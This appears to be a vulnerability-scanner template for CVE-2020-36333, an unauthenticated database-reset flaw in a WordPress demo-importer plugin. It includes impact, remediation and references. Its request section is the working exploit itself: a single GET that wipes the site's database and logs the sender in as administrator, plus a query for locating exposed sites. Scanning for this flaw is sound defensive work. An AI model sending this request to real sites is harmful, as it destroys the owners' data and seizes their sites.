id: CVE-2020-36333 info: name: ThemeGrill Demo Importer < 1.6.2 - Database Reset author: iamnoooob,pdresearch severity: critical description: | ThemeGrill Demo Importer before 1.6.2 does not require authentication for wiping the database due to a reset_wizard_actions hook. In versions 1.3.4 and above and versions 1.6.1 and below, there is a vulnerability that allows any unauthenticated user to wipe the entire database to its default state after which they are automatically logged in as an administrator. impact: | Unauthenticated attackers can wipe the entire WordPress database to its default state and gain automatic administrator access, resulting in complete site takeover and data loss. remediation: | Upgrade to ThemeGrill Demo Importer version 1.6.2 or later. reference: - https://www.openwall.com/lists/oss-security/2020/02/19/1 - https://nvd.nist.gov/vuln/detail/CVE-2020-36333 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H cvss-score: 9.1 cve-id: CVE-2020-36333 cwe-id: CWE-285 epss-score: 0.46214 epss-percentile: 0.97707 metadata: verified: true max-request: 1 product: themegrill-demo-importer vendor: themegrill fofa-query: body="/plugins/themegrill-demo-importer" tags: cve,cve2020,wp,wordpress,wp-plugin,themegrill,vkev,vuln http: - raw: - |+ GET /wp-admin/admin-post.php?do_reset_wordpress=1 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'len(body)==0' - 'status_code == 302' - 'contains_all(header, "wordpress_logged_in_", "reset=true")' condition: and # digest: 4b0a00483046022100aa39ed6430228f1d191cd79cee0f13609ef2795e8e7ffd69e782a174a18a7a62022100b79119b354af7824b3df3e45cc8c755fce6ed175a8a633e2f2477fec4da9bb43:922c64590222798bb761d5b6d8e72950